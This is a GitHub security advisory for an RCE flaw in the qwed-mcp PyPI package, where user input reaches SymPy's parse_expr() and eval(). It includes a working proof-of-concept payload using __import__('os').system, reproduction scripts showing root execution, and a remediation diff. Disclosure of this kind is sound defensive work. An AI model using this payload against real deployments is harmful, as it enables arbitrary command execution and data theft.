GitHub Advisoryadvisory · PyPI

GHSA-mw6r-2hvm-4rp2 qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input

CRITICAL Published 2026-08-25 Modified 2026-08-25 Official page ↗
Aliases
CVE-2026-55546
Ecosystem
PyPI
Packages
qwed-mcp
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-08-25

Affected packages

• PyPI qwed-mcp: < 0.2.1 → fixed in 0.2.1

Description

Summary `verify_math_expression()` in `qwed-mcp` v0.2.0 passes attacker-controlled strings directly to SymPy's `parse_expr()` without restricting `global_dict` or validating the expression's AST. Because `parse_expr()` internally calls `eval()` and Python automatically injects the current module's `__builtins__` when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including `__import__('os').system(...)` — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required. Details The vulnerability resides in `src/qwed_mcp/engines/math_engine.py`. The public function `verify_math_expression(expression, claimed_result, operation)` accepts both the `expression` and `claimed_result` arguments as raw strings and passes them — after a trivial `^` → `` substitution — to `sympy.parsing.sympy_parser.parse_expr()`: ```python math_engine.py:50-54 expr = parse_expr( expression.replace("^", ""), local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, transformations=transformations ) ``` ```python math_engine.py:64-68 claimed = parse_expr( claimed_result.replace("^", ""), local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, transformations=transformations ) ``` `local_dict` only adds math symbols to the evaluation namespace; it does not remove `__builtins__`. SymPy's `parse_expr()` eventually calls Python's built-in `eval()`, which — absent an explicit `{"__builtins__": {}}` in `global_dict` — receives the full built-in namespace. This makes `__import__`, `open`, `exec`, and every other Python built-in available to the evaluated expression. There is no allowlist, AST pre-validation, or sandboxing applied at any point before the `parse_expr()` calls (lines 50 and 64). Data flow: 1. Source — `math_engine.py:13-16`: external caller supplies `expression` and `claimed_result`. 2. Propagation — `math_engine.py:50-54`: `expression` substituted and forwarded to `parse_expr()`. 3. Propagation — `math_engine.py:64-68`: `claimed_result` substituted and forwarded to `parse_expr()`. 4. Sink — `sympy.parsing.sympy_parser.parse_expr()`: calls `eval()` with unrestricted `__builtins__`. PoC Environment setup ```bash Clone the repository at the affected commit git clone https://github.com/QWED-AI/qwed-mcp cd qwed-mcp git checkout 54ac682699407310b5a71fbaed8c33f581b84301 Option A — direct Python python3 -m venv /tmp/qwed-mcp-venv source /tmp/qwed-mcp-venv/bin/activate pip install sympy>=1.12 Option B — Docker (used for Phase 2 verification) docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp docker run --rm vuln001-rce ``` Exploit input ```python import importlib.util, sys, os spec = importlib.util.spec_from_file_location( "qwed_mcp.engines.math_engine", "src/qwed_mcp/engines/math_engine.py" ) mod = importlib.util.module_from_spec(spec) sys.modules["qwed_mcp.engines.math_engine"] = mod spec.loader.exec_module(mod) verify_math_expression = mod.verify_math_expression payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')" verify_math_expression(payload, "0") print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker")) with open("/tmp/vuln001_rce_output.txt") as f: print(f.read()) ``` Expected output (Phase 2 Docker observation) ``` [+] * EXPLOIT SUCCESSFUL * [+] Marker file present : /tmp/vuln001_rce_marker [+] RCE command output : --- BEGIN OUTPUT --- uid=0(root) gid=0(root) groups=0(root) 2d2fe45d37b6 --- END OUTPUT --- [RESULT] PASS — deterministic RCE evidence observed inside container ``` The marker file `/tmp/vuln001_rce_marker` is created and `id` output confirms execution as root with no patches, flags, or privileged configuration required. Remediation Apply AST allowlisting and restrict `global_dict` before every `parse_expr()` call: ```diff --- a/src/qwed_mcp/engines/math_engine.py +++ b/src/qwed_mcp/engines/math_engine.py import logging +import ast from typing import Optional +ALLOWED_NAMES = {"x", "y", "z", "pi", "e"} +ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"} +ALLOWED_AST = ( + ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load, + ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod, + ast.USub, ast.UAdd, +) + +def _validate_math_syntax(expr: str) -> None: + tree = ast.parse(expr.replace("^", ""), mode="eval") + for node in ast.walk(tree): + if not isinstance(node, ALLOWED_AST): + raise ValueError(f"Unsupported syntax: {type(node).__name__}") + if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS: + raise ValueError(f"Unsupported symbol: {node.id}") + if isinstance(node, ast.Call): + if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS: + raise ValueError("Only approved math functions are allowed") + if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)): + raise ValueError("Only numeric constants are allowed") + +safe_globals = {"__builtins__": {}} + • expr = parse_expr( + _validate_math_syntax(expression) + expr = parse_expr( expression.replace("^", ""), local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, + global_dict=safe_globals, transformations=transformations ) • claimed = parse_expr( + _validate_math_syntax(claimed_result) + claimed = parse_expr( claimed_result.replace("^", ""), local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E}, + global_dict=safe_globals, transformations=transformations ) ``` Impact Any caller that passes attacker-controlled input to `verify_math_expression()` or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can: • Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2). • Read, write, or delete files accessible to the process. • Exfiltrate secrets (API keys, environment variables, credentials) from the process environment. • Pivot to internal services reachable from the host. The function is part of the public PyPI package `qwed-mcp`. Any downstream library consumer or service that wraps `verify_math_expression()` with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it. Reproduction artifacts `Dockerfile` ```dockerfile FROM python:3.12-slim LABEL vuln="VULN-001" \ title="Unsafe SymPy parse_expr() RCE" \ cwe="CWE-94" \ target="QWED-AI/[email protected]" WORKDIR /app Copy only the package source tree from the cloned repo. math_engine.py only imports sympy at runtime; full project deps (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC. COPY repo/src /app/src Install the single runtime dependency used by the vulnerable module. RUN pip install --no-cache-dir "sympy>=1.12" Copy the proof-of-concept script. COPY vuln-001/poc.py /app/poc.py Make qwed_mcp importable via the local source tree. ENV PYTHONPATH=/app/src CMD ["python3", "/app/poc.py"] ``` `poc.py` ```python """ VULN-001 Proof of Concept ========================= Target : QWED-AI/qwed-mcp v0.2.0 Module : src/qwed_mcp/engines/math_engine.py Function: verify_math_expression(expression, claimed_result, operation) Root cause ---------- verify_math_expression() passes attacker-controll…

Related

Alias · CVE (1)

  • CVE-2026-55546 QWED-MCP is a deterministic verification gateway for MCP. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References